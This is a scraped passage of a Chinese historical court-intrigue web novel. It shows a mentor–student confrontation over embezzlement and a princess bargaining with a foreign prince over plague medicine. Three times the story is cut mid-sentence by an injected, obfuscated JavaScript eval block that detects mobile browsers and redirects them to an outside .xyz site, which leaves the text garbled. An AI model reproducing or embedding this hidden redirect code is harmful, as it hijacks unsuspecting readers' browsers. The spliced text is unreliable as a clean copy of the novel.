沈之衡与齐任东分别坐于紫檀案桌两侧，均未言语。向恒声则挺立在书房门外，手按佩剑等候。 直至丫鬟悄无声息地奉上两盏清茶，随着房门再次合拢的轻响，齐任东方才端起自己面前那只茶盏，浅浅啜了一口清茶，缓缓开口：“怀野，上一次同老夫品茶叙话，还是去岁夏末吧。” “是，齐阁老。”沈之衡声线平稳。一声齐阁老，语气淡漠而疏离。 “上次对坐品茗，亦是在此案前。”齐任东眼睑微垂，陷入追忆，“那时，是你启程赴湖北赈灾前夕。可还记得，为师当时是如何叮嘱于你的？” 沈之衡的声音平淡无波：“阁老有言，此去湖北，但求平安归来，余事勿论。”他语锋微顿，续道：“待……凯旋回京之日，便是接任户部尚书之职、入内阁参政之期。” “是啊……”齐任东轻轻颔首，语气平静，眼底深处却陡然掠过一丝锐芒，“然而你在湖北一失踪便是数月，音讯杳然。再归时，便是以那残躯病骨，向陛下递上奏疏，执意辞离户部，自请调任都察院。” 沈之衡倏然抬眸，目光转向齐任东，嘴角勾起一丝讽刺的弧度：“个中缘由，想必老师比任何人都要清楚。” “呵……”齐任东垂首，发出一声几不可闻的低笑，带着浓重的自嘲。他扶着冰凉的案桌边缘，缓缓站起，步履略显蹒跚地行至窗边。 吱呀一声推开轩窗，清冷的月光投向屋内，泼洒一地。 他立于窗下，背对着沈之衡，月华使他的身形更显出几分苍老。他沉声道：“你我初次品茶清谈，还是在天元十八年。那时，你刚殿试及第不久……” 时隔六载，那场景却历历在目。 天元十八年，殿试终了，圣上御览至沈之衡那份的策论，当廷便钦点为状元，更命司礼监连夜誊录六份，火速分发至六部堂官传阅。一夜之间，沈之衡之名，与他那篇济世策论，震动朝野。 那份誊本送至时任户部尚书的齐任东案头时，已是深夜。他却就此枯坐一夜，字斟句酌。 字里行间，那经纶济世之才、匡扶天下之志、不畏权贵的铮铮傲骨，如星月交辉，卓然纸上。宦海浮沉数十载，此等玉质英才，实属罕见。而他齐任东……一生最是惜才。 此后，如何安置这位风头无两的新科状元郎，竟成了朝堂一桩难题。 圣上爱才之心昭然若揭。六部衙门、都察院，虽各怀目的，但莫不虎视眈眈，意欲争抢这不可多得的璞玉。内阁之中，首辅苏崇主掌吏部，次辅汪远执掌兵部，两位权柄赫赫的阁老态度皆十分强硬。都察院都御史甘璋更是寸步不让，誓要将这状元收入御史台下。 圣上难以定夺，破天荒地降下口谕，着沈之衡自行抉择。 当日午后，齐任东便亲至翰林院，邀沈之衡于天香楼清谈雅室。 茗香袅袅间，沈之衡只问了他一句：“敢问齐阁老，在您心中，为官者，当为何？” 齐任东沉思片刻，未作犹疑，朗声答道：“夫官者，蒙天子金印紫绶，非止荣身显贵，实以九州疆土为凭，万民生息作押。居此位者，当知掌中乌纱——轻如鸿羽，却重逾泰山。” 沈之衡闻言，目光骤亮，“晚辈心中所悟，亦如是。”随后，他起身深揖一礼，斩钉截铁：“从今往后，怀野愿追随齐阁老身侧，还请阁老多多教诲！” 言毕，二人朗声而笑，意气相投。 自那日起，沈之衡便入了户部。齐任东视其为衣钵传人，倾囊相授为官之道、权衡之术。 天元二十一年，沈之衡升任户部侍郎。仅仅三年，他深得圣心，在百姓、寒士之间口碑卓著，渐成清流砥柱，为天下士林所仰望。人人皆道“沈侍郎乃大凌官场最后的风骨”。 六年相处，二人情谊愈深，早已非寻常上下，渐为师生。 去年，齐任东已接近致仕之龄，与圣上商议良久，只待沈之衡自湖北赈灾凯旋，便以户部尚书之职擢其入阁。 未曾想到……终究是让沈之衡在湖广之地，察觉到了户部与六年前堤坝国帑之间剪不断的罪孽牵连。 那案中涉事的户部官员，均是他齐任东亲授的门生故吏。若说他齐任东于此事全然清白，谁人敢信？ 沈之衡性如寒玉，骨似青松，刚正不阿。纵是齐任东百般引导其洞察“为官需圆融，登高始能惠及苍生”的所谓至理，也未来得及教会他那套“水至清则无鱼，人至察则无徒”的官场箴言。 这一念之差的放任与欺瞒，不仅险些断送沈之衡性命于湖广泥泞之中，更亲手斩断了维系六载的师生情分。 自湖北九死一生潜返京都后，沈之衡自请调任都察院，行事越发迅疾果决。这段时日，大凌官场被他搅得天昏地暗。他虽未直指六年前贪墨旧案，但其中相关涉案官员，已因经年累月的其他罪证而接连落马。 唯一幸免、至今仍能全身而退的，唯有他那十位当年任职于户部的得意门生。 这一番刻意的“偏袒”，连齐任东自己也看不分明。这究竟是沈之衡顾念旧情，欲为恩师保全最后一点晚节的体面？还是只为寻找机会将其师生连根拔起？抑或是……沈之衡还在等，等他这位曾经的恩师悬崖勒马，亲自供述出那不堪的过往，以求赎罪？ 斗转星移，曾几何时这书房内是殷殷期望的耳提面命，今朝再对坐，便已是隔了万重鸿沟。 齐任东阖上疲惫的眼，嘴角浮起一丝极淡的笑，叹息声沉若千钧：“这一盏茶，会是我们师生之间的最后一顿茶么？” 沈之衡徐徐起身，对着窗边那道苍老的背影，深深一揖：“这取决于老师，如何抉择。”声音冷冽似松间的风声。 齐任东缓缓侧身，浑浊的目光穿透摇曳的烛影，悠悠落在沈之衡年轻而坚毅的面容上：“怀野，等你到了我这个位置，自会明白，这高台之上，太多事身不由己。” 沈之衡抬首，眼眶已是猩红一片，他的身躯挺得笔直，如同一株从未弯折的劲竹。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138568|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏然字字泣血：“良田尽毁，家园倾覆。老师可知湖北那千万流离失所的百姓，吞下了怎样的苦楚？那并非天灾，乃是赤裸裸的人祸！这苦，他们本不必受的。”他眸中翻涌的，是彻骨的失望。 他又深深吸气，唇角的弧度尽是苦涩：“‘夫官者，非止荣宠加身，实以九州疆土为凭，万民生息作押’——此言，字字句句，是您六年前在天香楼亲口所训。究竟是老师变了心肠？还是那冠冕堂皇的道理，原本就包藏着另一番乾坤？学生愚钝，难解其意！” 这番血泪拷问，终是击中了齐任东心底深处那点早已冰封的恻隐。 齐任东膝下无子，与沈之衡脾性相投，六载时光，早已将其视如己出。沈之衡那振翅欲飞的宏愿，又与他初入宦海时的凌云壮志何其相似？ 只可惜，造化弄人，一步踏错，便步步错，直至万劫不复。 “待太子荣登大宝之后，”齐任东的声音带着某种尘埃落定的疲惫，“为师会自行请罪伏法，身败名裂亦无惧。只盼能为你登临首辅之位……尽扫些荆棘。” “所以……”沈之衡瞳孔骤然收缩，声音沙哑，一字一顿，“老师的背后，竟真是……汪家？” 齐任东沉默。 这无言的死寂，已是比任何言辞都清晰的答案。 高踞庙堂，眼底只余倾轧权术，心中全无苍生黎民，这已是大凌官场蔓延的绝症。 沈之衡昔日在户部殚精竭虑，直至亲历湖北那片人间炼狱，方知大凌国库日益空虚的沉疴首恶——乃是朝廷根基已朽，是这累累冠盖下的肮脏人心。 所以他潜回京城第一件事，便是决绝地斩断过往，求入都察院，求一个刮骨疗毒的刀兵场。 归京数月，失望之情，也让他始终不肯直面这位曾经的恩师。 书房内沉寂一片，唯余穿窗而过的夜风，吹得烛火簌簌乱摇，将那两道默立的身影时而拉长、时而揉碎在落满月光的地面。 良久，齐任东喉结微动，终于再次开口，声音找回了些许往昔的沉缓庄重，带着最后一丝“教导”的意味，字字清晰： “怀野，你有经天纬地之才，少年得志，功名赫赫。如今贵为太子太师，储君敬你、信你、倚重你。那把首辅之位，于你而言，并非难事。为师深知你一片赤诚丹心，为官清正可昭日月。但你切记，首辅之位，纵使垫着数不清的污浊尸骨，那位置，你也务必要去争！若真想重振这大凌山河，非立于群峰之巅、手握至高权柄不可为。这便是为师今日……最后的赠言了。” 沈之衡没有再答话。他只是对着那轮冷月映照下的单薄背影，再次深深一揖，袍袖微动间，声音冷冽：“齐阁老珍重。下官，告辞。” 沉重的木门开合声后，书房内只剩一人。 齐任东的目光失焦般缓缓移向案几，最终定格在自己面前那只早已凉透的青瓷茶盏上。 澄澈的茶汤静若止水。 而沈之衡的那一盏清茶—— 他终究是一口未饮。 18. 第十八章 主仆身份 二月末，庆阳行宫，晨光熹微。 与师父约期已至，姜宁将青丝利落束作高马尾，换了身便于骑行的窄袖劲装，与苏七于卯时策马出宫，直奔庆阳州府。 刚一入城，二人便寻了街边小摊，以二十文钱购得两顶遮面的帷帽戴上。前番在城中夜市遭那对诡异主仆盯梢，此次还是谨慎些好。 凤明堂前，求医问药的百姓虽排起长龙，却井然有序。 姜宁与苏七行至维持秩序的小厮面前，亮出信物。小厮一见，立即会意，连忙躬身引路：“两位贵客请随我来，怀均先生已等候多时。” 踏入二楼隔间，便见顾方端坐主位。他一身素净的青色布衣常服，发未束冠，几缕银丝夹杂的青丝随意披散肩后，正闲适地研磨着案上药草，神情专注而平和。 姜宁摘下帷帽，笑靥如花地迎上前：“师父！” 顾方闻声抬眸，眼中漾开温煦笑意：“宁儿，来了。” “顾先生。”苏七亦摘帽，抱拳行礼。 “嗯，苏七，”顾方微微颔首，语气熟稔，“许久未见了啊。” 说话间，方才的小厮悄然奉上三盏清茶。 姜宁端起面前的白瓷盏，轻啜一口，眼波流转间，唇角已扬起俏皮的笑意：“乌龙打底，陈皮、茯苓、山楂、夏枯草……还有一味……”她鼻翼微动，细细品味，“是蒲公英！师父，徒儿猜得可对？” “分毫不差。”顾方眼中赞许更甚，亦举杯啜饮，“此方清热解郁，兼养脾胃。” 昔日在长安朝夕相处，顾方于日常饮食中素重药食同源之理，即便一盏清茶，亦常添几味药材调和。于是，猜辨茶中玄机，便成了师徒间心照不宣的雅趣。 苏七向来不通此道，只觉茶汤甘洌解渴，便如牛饮般咕噜两口见了底。一旁侍立的小厮见状，默不作声地又为他续满一盏，方才告退。 顾方目光掠过见姜宁空了大半的茶盏，忽地想起什么，眉峰微挑，带着几分促狭看向姜宁：“听红叶说，你回了京城，倒添了新癖好，日日饮茶非得掺上牛乳？长此以往，于脾胃无益。” 姜宁面上掠过一丝赧然，乖巧应道：“师父教训的是，徒儿回去便改。”心中却暗自盘算，下次若在牛乳茶里添些陈皮，或许别有风味。 她随即岔开话头：“对了师父，您先前不是在蜀地游历么？怎又转道去了昆仑？” “此事说来话长，”顾方眸光微沉，放下茶盏，“不急。倒是你，先同为师讲讲，此番回京，都经历了什么？” “好。”姜宁欣然应下，饮了口茶润喉，便将这段时日的种种娓娓道来。从京郊风雪日偶遇沈之衡，到浮月桥风波，再到裴落平安诞下皇子……桩桩件件，清晰分明。 听闻裴落遭遇，顾方眉头始终紧锁。待姜宁言毕，他冷冷轻哼一声：“裴落这孩子遭此劫难，苏崇那老儿心中怕是暗喜吧？于他而言，倒也算因祸得福。至于那姜厚钦……” 他语带不屑，毫不掩饰鄙夷，“更不是个东西。此二人，皆属混账！可怜了长英与裴落，平白受这无妄之灾。” 姜宁闻言默然。她深知师父对外祖父与父皇的怨怼积年难消，已成心结，此刻宽慰亦是徒然。 静默片刻，顾方深深一叹：“你当初执意回京，为师便不赞同，但也知拦你不住。”他目光落在姜宁脸上，带着洞悉世事的了然，“你与你母亲，骨子里都是一样的倔强。认准的路，无论如何都要走。” 话至此处，他眼中又泛起一丝欣慰的暖色，“不过，此番归京种种应对，你做得很好。比为师预想的更好。如此，为师这颗悬着的心，也能稍稍放下些了。” 姜宁目光悠悠投向窗外浮云，声音轻柔却字字清晰：“若无师父这十二载悉心教导，又怎会有今日的宁儿？” 顾方正色，目光转向姜宁，带着不容置疑的郑重：“宁儿，你且记住：无论前路是万丈荣光还是千般险隘，这凤明堂永远是你最后的退路与依仗。” 姜宁收回目光，深深望向顾方，莞尔一笑，眼底是纯粹的感恩，“师父，您已说过多次，宁儿明白。” 顾方抬眼望了望窗外天色，温言道：“日头偏西，时辰也不早了。今日便不必赶回行宫了罢？在城中留宿一晚。为师近来新琢磨了几味药膳，留下尝尝？” 姜宁眼中瞬间焕发光彩，语带雀跃：“自然极好！有师父在，徒儿又有口福了。” “哈哈哈，你这丫头啊。”顾方朗声大笑，随即起身，“那为师便去后厨张罗了。你与苏七且在堂中歇息片刻，随意逛逛便是。” “是，师父。” “是，顾先生。” 顾方离去后，姜宁端起案几上那盏微凉的茶汤，缓步踱至窗边。 凭栏俯瞰，庆阳街市比之京城更显生机勃勃。求医问药的百姓队列井然，商贩往来络绎不绝。目光流转间，忽见杨阳掌事步履匆匆地穿过熙攘人流，正往凤明堂而来。姜宁这才恍然，难怪今日入堂未见杨掌事身影，原是外出办差去了。 几乎是杨阳身影刚入堂门，楼板轻响，他已推开二楼雅室的门扉。虽气息微促，显然赶得急切，但他仍极力维持着平日的沉稳，躬身道：“殿下，那两位主仆的身份有眉目了。” “哦？”姜宁眸光微凝。 杨阳自怀中取出一张绘有详细路径的图纸，恭敬呈上：“据查，是柔然部落的二王子，贺兰风。其侍从姓名不详。此乃他们现下在城中的落脚之处，二人抵庆阳已两月有余。” 姜宁接过图纸，略扫一眼，便转递予身旁的苏七。 柔然，毗邻大凌西北边陲的草原部族。二十二年前那场惨烈鏖战，镇北侯裴家虽力阻其于国门之外，却付出了满门英烈、仅余孤女裴落幸存于京城的代价。经此一役，柔然与大凌皆元气大伤，自此偃旗息鼓，换得西北边陲二十二载太平。 柔然王室情形，姜宁过去未曾深究，只知有大王子贺兰权名号，倒未听闻还有位二王子贺兰风。她抬眸望向杨阳，语带探询：“可知他们此来庆阳，所为何事？” “回殿下，是为采买药材。”杨阳答道。 姜宁眼中疑色未减。 杨阳随即解释：“去岁深秋至今，柔然境内鼠疫横行，死伤枕藉。此二人便是为此而来，月余间遍访庆阳诸多医馆，亦曾乔装来过凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138569|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明堂。当时堂中伙计观其形貌有异，暗中尾随探得住处。后又持其画像交予往来西域的熟稔商队印证，方确认了身份。” “原来如此。”姜宁沉吟，“滞留两月之久？以其身份，在大凌境内多留一刻便多一分凶险，这又为何？” 杨阳嘴角掠过一丝了然的笑意：“殿下有所不知。他们所需药材数量庞大，所携金银却捉襟见肘，欲以分期付账之法购置。二人不肯说出真实身份，既无可靠保人，又无官府凭信，庆阳各家药铺皆不敢承接。想来因此耽搁了行程。” 他顿了顿，补充道，“况且，这贺兰风虽为王子，其母却是大凌女子，故其在柔然素不受宠，声名不显。此番若非商队中恰有在柔然王庭行走的旧识，曾偶然识得他，恐也难以确认真身。” “这倒是有几分意思。”姜宁唇角勾起一抹玩味的弧度，心中已有定计，吩咐道：“着你手下得力之人，暗中盯住那处宅院。晚些时候，我亲与苏七去会一会这位贺兰王子。” “是。”杨阳利落应声，躬身退下。 晚膳席间，姜宁将贺兰风之事及后续打算一一告知顾方。 顾方闻言，眉宇间掠过一丝忧色：“宁儿，此举是否过于行险了？” “师父放心，徒儿心中有数！”姜宁神色坚定，目光灼灼。 望着她不容置疑的神情，顾方深知她认定之事，纵有千难万险亦难阻挡，只得无奈轻叹：“罢了，便依你之计行事吧。凤明堂上下，你尽可调度。”他语声微顿，目光深深落在姜宁脸上，带着一种穿透时光的温柔，“况且……这凤明堂，原就是为你而设。” 最后一语，如石子投入心湖，在姜宁心头荡开层层涟漪。 这些年，她从师父口中听过太多关于母后的旧事，亦深知师父那份深埋心底、从未宣之于口的情愫。师父初遇母后，尚在母后豆蔻年华、待字闺中之时，比父皇更早。本是杏林传人的师父，那年高中进士，官拜吏部，在苏府得见惊鸿。此后，这份情意便如静水深流，无声却沉厚。 师父亲眼看着母后于赏花宴上对三皇子倾心，看着她凤冠霞帔嫁入王府，看着她母仪天下成为中宫皇后。为逃避这无望之情，他自请远调荒僻儋州。十六年前回京述职，于御花园繁花深处遥遥一瞥携女游玩的她，竟是最后一面。再闻音信，已是幼子夭折、心绪郁结的噩耗传来，香消玉殒。 此后经年，无数个长夜，他未尝不悔恨当初的远避。遂辞却官身，悬壶济世，创立百草堂。再后来，听闻姜宁远赴长安，他便也随之而去，将毕生所学与未尽守护之意，尽付于徒儿一身。 每当感知到师父望向自己时，眼中那份仿佛穿透时光、望向另一个身影的温柔与憾恨，姜宁总会禁不住去想——若母后当年未曾入宫，未曾在那重重宫阙中耗尽芳华，这广阔天地之间，母后那般□□的女子，定能活得更加潇洒恣意吧？ 她从未能问母后一句是否后悔，但正如外祖父所言——那是母后自己的抉择。即便重来千次万次，或许，赏花宴上那曲《凤求凰》响起时，母后的目光，依然会为父皇停驻吧。 情之一字，从来是没有道理的。 19. 第十九章 达成合作 夜色弥漫，姜宁与苏七戴上帷帽，依照图纸所示，穿过熙攘人群，悄然抵达贺兰风的住处。 那是个不起眼的破败小院，不大，隐于市井之中。 凤明堂的暗哨见姜宁到来，立刻迎上，低声禀报贺兰风与其侍从尚未归家。姜宁微一颔首，示意暗哨撤走，以免打草惊蛇。 随后，在苏七的协助下，两人悄无声息地翻入院墙。 脚刚沾地，数道暗器便破风而至。苏七剑光一闪，将暗器尽数击落。姜宁冷哼一声：“这贺兰风，倒挺谨慎。” “雕虫小技罢了。”苏七语气冰冷。 姜宁暗自笑了笑，这等机关，于苏七而言确实不足为惧。若是苏九在此，今日怕是要费一番手脚。 借着稀薄月光，两人摸黑靠近屋门。苏七示意姜宁侧身避让，随后右手紧握剑柄，左手缓缓推开房门。他率先踏入，迅速点燃灯火，目光锐利地扫视一周，确认无异后，方才示意姜宁入内。 屋内陈设寻常，应是维持了房东原样。然而墙上悬挂的一幅关系图，瞬间攫住了两人的视线。图上赫然标注着苏家、汪家、萧家、承嘉公主、凤明堂等势力之间的脉络。 当姜宁的目光落在连接承嘉公主与凤明堂的那条线上时，眸底骤然掠过一丝狠戾：“苏七，若今夜事不成，这二人，留不得。” “是，属下明白！”苏七沉声应道，握住剑柄的手指收紧了几分。 姜宁不再多言，转而翻查屋内的柜屉，搜寻其他线索。 不多时，苏七耳廓微动，捕捉到门外渐近的脚步声。他递去一个眼神，姜宁会意，瞬间吹熄灯火，屏息隐于暗处。苏七则如鬼魅般闪至院门之后，静待来人。 门外的贺兰风与小五浑然未觉，如常开锁、推门。 门扉方启，贺兰风便觉颈间陡然一凉。 嘶……这冰冷的触感，这熟悉的场景，竟让他心底荒谬地泛起一丝笑意。 “壮士，别来无恙？”他语气轻松地开口问候。 苏七面无表情：“少废话，让你的人弃刀。” 一旁的小五闻言，顺从地将佩刀解下。见苏七仍无动作，他索性将刀置于脚边。 苏七见此，迅速搜过二人全身，确认再无威胁，这才将他们拽入院中，反手扣上院门。 屋内，姜宁听到这番动静，心知苏七已得手，便重新燃起灯火，屋内骤然明亮起来。 她缓缓起身，推开房门，慵懒地半倚着门框，目光悠悠落向院中的贺兰风。夜风拂动，屋内灯火摇曳，在她脸上投下明明灭灭的光影。 贺兰风虽被苏七所制，神色却不见丝毫慌乱。他见到姜宁，嘴角反而勾起一抹慵懒的弧度，眼眸微眯：“公主殿下，又见面了。” 姜宁轻笑一声，语带玩味：“二王子远道而来，岂有不‘招待’之理？” 这声“二王子”，让贺兰风明白姜宁已查清了他的底细。他索性卸下伪装，爽朗笑道：“殿下真是客气。既是‘招待’，这刀剑无眼，可否挪开了？” “不行。”姜宁笑着摇头，眼神无半分松动。 “也罢，殿下开心便好。”贺兰风状似无奈地妥协道。 姜宁收起笑意，目光倏然锐利起来：“二王子来我大凌，所图为何？” 贺兰风眉梢微挑：“殿下不是都清楚了么？” 哦？姜宁心中微诧，此人倒是爽快。也好，省去诸多试探。她追问道，“那日，为何跟踪我？” “那日啊……”贺兰风眯起眼，仿佛陷入回忆，随即语气轻快道：“不过偶遇殿下，万分思念，一时情难自禁罢了。” “还不老实？”姜宁语气骤沉。 贺兰风低笑一声，指尖试探性地夹住颈边的剑锋，轻轻挪开。苏七目光投向姜宁，得了默许，便顺势收剑。 贺兰风得了自由，向前踱了几步，停在台阶下，仰头看向倚门而立的姜宁，脸上那份慵懒褪去，神情变得严肃：“我想和殿下做个交易。” “哦？”姜宁眉峰微动。这正合她此行目的。贺兰风主动开口，反倒让她在谈判中占得先机。 贺兰风开门见山：“我知道殿下与凤明堂关系匪浅。我要凤明堂提供一批治疗鼠疫的药材，具体数量，殿下想必已从杨掌事处得知。” “既是交易，你能给我什么？”姜宁语气平淡，仿佛浑不在意。 “二十二年前，镇北侯满门忠烈战死沙场的真相。”贺兰风一字一句道出。 短短一句话，如同惊雷炸响在姜宁心头。她心脏骤然收缩，面上竭力维持着平静，脑中瞬间闪过屋内墙上的萧家标记，以及这些年萧家逐步掌控西北军权的种种迹象。 若是萧家在二十二年前动了手脚，那一切……便都说得通了。 一旁的苏七，脸色亦是微变。 姜宁的目光瞬间变得灼热，紧盯着贺兰风：“是萧家？” “殿下聪慧。”贺兰风没有否认。 “你如何得知？有何凭证？”姜宁的声音冷冽如冰，周遭空气仿佛都为之冻结。 贺兰风深吸一口气，声音带着一丝轻叹：“我的母亲，亦是那场交易中，萧家献给柔然王的‘礼物’。”吐出‘礼物’二字时，他眼中翻涌起刻骨的恨意，指节捏得发白。 随即，他语气转冷：“至于萧家与柔然王来往的证物，就在柔然王宫，于我而言，并不难寻得。” 感受到贺兰风对柔然王室的恨意，姜宁心中一个疑团升起：“据我所知，你在柔然并不受宠，费尽心思搜罗这治疫药方和药材，于你有何益处？我怎知你今日这番说辞，是否有诈？” “此乃在下私事，不劳殿下费心。至于是真是假，殿下心中自然有答案。”贺兰风避而不答。 静默片刻，姜宁决然开口：“好，我应下了。事成之后，证据归我。”语气斩钉截铁。 贺兰风眼底掠过一丝讶异，显然没料到姜宁答应得如此干脆利落。 未等他回应，姜宁又道：“但我还有一个条件。” “什么条件？” “我要你，陪我回京，演一场戏。”姜宁眼波流转，尾音拖着一丝玩味的轻佻。 “哈哈哈……”贺兰风蓦然爆发出一阵爽朗大笑，浑厚的笑声在寂静的小院里显得有些突兀。 他抬脚，一步步踏上石阶，逼近姜宁。 夜风吹动他额前碎发，那双深邃的眼眸凝望着她，带着探究与一丝不羁。蓦地，他手臂一伸，猛地揽住姜宁的纤腰，向自己怀中一带。姜宁猝不及防撞入他怀里，温热的气息瞬间贴近。 他低头凑到她耳畔，薄唇几乎要碰到她冰凉的耳垂，声音低沉如同惑人的咒语：“何止演戏？便是殿下此刻要我以身相许，我也甘之如饴。” “放肆！”清叱声起，苏七足尖点地，人影已至，冰冷的剑锋再度紧紧贴上贺兰风的颈侧皮肤，杀气凛然。 姜宁并未如预想般惊怒，反而在贺兰风怀中轻笑出声。她微微仰头，望着贺兰风近在咫尺的俊脸，眼神戏谑，抬手，看似轻柔却带着不容抗拒的力道，缓缓推开了他紧束的手臂：“看来二王子已无师自通，开始体味这新身份的滋味了？” ？ 这番意有所指的话语，让贺兰风眼中闪过困惑。难道真要……以身相许？他飞快地盘算着两国联姻的可能利弊，揣测着姜宁更深的目的。甚至还有另一个想法，莫非这位大凌公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141273|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，对自己真起了心思？不自谦地讲，他确实是有几分姿色。 思忖片刻，他带着几分试探开口：“殿下乃大凌唯一的明珠，而我在柔然不过一介弃子。这联姻，怕是难遂殿下心意。” “噗嗤……”姜宁像是听到了极有趣的笑话，唇角扬起，笑意盈盈地望着他，“二王子未免也想得太远了些。” 她故意拖长了语调，欣赏着对方瞬间微妙的神情，才慢悠悠揭晓谜底：“我要的，不过是二王子屈尊降贵，扮作我的‘男宠’，陪我风风光光回京，且再装上一段时日罢了。” 她微微倾身，眼波潋滟如狡猾的狐狸，压低声音续道：“约莫一个半月后，四月初十那日，庆阳南风馆又要评选当月的‘南院公子’。届时，我会一掷千金，将‘你’从南风馆赎回，随我归京。二王子可要好生努力，把这以色侍人的角儿，演得活色生香些啊。” “你！你这不是作践我家主子么！”院中的小五再也按捺不住，胸膛剧烈起伏，愤慨出声，双目几乎要喷出火来。 贺兰风本人却并未显露出丝毫被折辱的怒意。他只是深深凝视着姜宁，目光仿佛要穿透她巧笑嫣然的表象，直达她的心底。他在思忖，思忖着这位公主真正的棋路。 忆及去岁初春长安所见，她在粥棚义诊，与百姓同坐谈笑，声名甚佳。然其后，京城却骤然刮起公主奢淫、纵情声色的流言。之后她返京，与朝堂重臣流言不断，风波不绝。未几，她忽然离京“散心”，车驾南下蜀郡，自己却在庆阳撞破她在凤明堂秘会。 这位公主的行事，分明处处透着刻意的遮掩与深沉的谋算。她需要他化身男宠随行回京，这看似荒诞的戏码之下，定是藏着足以撬动朝堂的算计。 他忽然来了兴致，很想看看，这位公主的棋盘中，他这枚“男宠”的棋子，最终会落在何处。 一念及此，他眼底波澜不惊，平静应道：“好，我答应你。” “主子？！”小五几乎失声，难以置信地看向贺兰风。 贺兰风只回了他一个安抚的颔首，示意他稍安勿躁。随即，他视线转回姜宁，带着不容敷衍的认真：“陪殿下入京不难。只是，我那批救命的药材，又当如何？” 姜宁笑意不减，目光掠过一旁愤怒的小五：“这一个半月的余暇，足够你运筹帷幄。凤明堂自会倾力相助，保你所需按时到位。至于药材抵达柔然后如何处置……”她下巴微抬，示意了一下小五，“你这位忠仆，不正是为此而存在的么？” 贺兰风沉默片刻，权衡利弊，终是应声：“好，一言为定。” “二王子果然是痛快人。”姜宁欣然道，“那么，四月初十，我们南风馆见。” 话音落，她未再看贺兰风一眼，只对苏七略一点头，二人便离开小院，隐入门外夜色深处。 “主子！”院门合拢，小五急步上前，脸上忧惧交加，“属下怎能不随您同去京城？属下不放心！” 贺兰风伫立院中，目光沉沉投向姜宁消失的方向，并未立刻回答。 夜风拂过他紧绷的侧脸，带来一缕极淡的、似乎残留于他掌心的冷梅暗香。他摊开手掌，修长的手指无意识地收拢，仿佛还能感受到方才她腰肢残留的一丝体温与柔软。 良久，他才收回视线，看向焦灼的小五，声音沉静却带着不容置疑的力量：“药材之事，唯有交给你，我才放心。大祭司那边，也只有你能办成。你先回柔然等我。” “可……”小五还要再争。 贺兰风打断他，目光投向被夜色笼罩的远空，语气竟有一丝微不可察的笃定，似在宽慰小五，也像在说服自己： “无妨。她既有所图，便不会让我有事。”